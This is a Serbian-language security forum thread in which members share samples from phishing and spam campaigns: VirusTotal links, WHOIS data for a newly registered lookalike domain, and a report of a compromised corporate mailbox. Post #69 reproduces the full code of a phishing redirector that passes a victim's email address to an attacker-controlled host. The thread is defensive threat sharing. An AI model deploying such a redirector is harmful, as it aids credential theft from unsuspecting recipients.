Sveopšte phishing/SPAM kampanje
#61

   

   

prilog je https://www.virustotal.com/gui/file/2a32...84cd60f014

   
Reply
#62

   
Reply
#63

   

   

zanimljiv FROM domen, zapravo postoji, registrovan juče, nema nikakve DNS zapise u ovom trenutku.

Code:
   Domain Name: PROCREDITS-GROUP.COM    Registry Domain ID: 3080830090_DOMAIN_COM-VRSN    Registrar WHOIS Server: whois.metaregistrar.com    Registrar URL: http://www.metaregistrar.com    Updated Date: 2026-03-27T12:59:48Z    Creation Date: 2026-03-26T05:45:16Z    Registry Expiry Date: 2027-03-26T05:45:16Z


prilog je https://www.virustotal.com/gui/file/0ca9...79850a5d88

   
Reply
#64

   

   

prilog je https://www.virustotal.com/gui/file/4c68...202fcecfb6

   
Reply
#65

Ovaj unionsped izgleda ima ozbiljnih problema kada im je i drugi mejl nalog kompromitovan da šalje malver:

   

   

prilog je https://www.virustotal.com/gui/file/ebfd...4e8b153e7e

   
Reply
#66

   

   

prilog je https://www.virustotal.com/gui/file/d8eb...782ce14d63

   
Reply
#67

   

   

prilog je https://www.virustotal.com/gui/file/5914...3a3d1d9d7c

   
Reply
#68

   

   

prilog je https://www.virustotal.com/gui/file/4f39...2f6562e9d0

   
Reply
#69

   

   

liink je ambica-agro .com/malab/index.php/#[email protected] koji ima zanimljiv način da učita dalje :

Code:
<html> <head>   <meta name="viewport" content="width=device-width, initial-scale=1.0">   <title>Redirect</title>   <script>     function get() {       var h = window.location.hash;       var rand;       if (!h) {         var u = "https://office365.com";       } else {         var email = h.split('#')[1]; // e.g. [email protected]         var domainPart = email.split('@')[1]; // e.g. gs-ser.com         rand = domainPart.split('.')[0];      // e.g. gs-ser         var l = "https://" + rand + ".cyohprion.com/?" + rand + "=";         var u = l + encodeURIComponent(email);       }       window.open(u, "_self");     }   </script> </head> <body style="background: #eaeaea;">   <div style="margin-bottom: 40px;">     <p id="text" style='color: #7b7b7b;font-weight: 600;margin-top: 20px;font-size: 18px; font-family: "Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";'></p>   </div>   <script>     setTimeout(function () {       document.getElementById("text").innerHTML = ("<span style='color: black;font-weight: 400;'>Loading....</span>");     }, 3000);     setTimeout(function () {       get();     }, 5000);   </script> </body> </html>


   

   
Reply
#70

Prevare i preko Vibera...

   
Reply


Forum Jump:


Users browsing this thread: 3 Guest(s)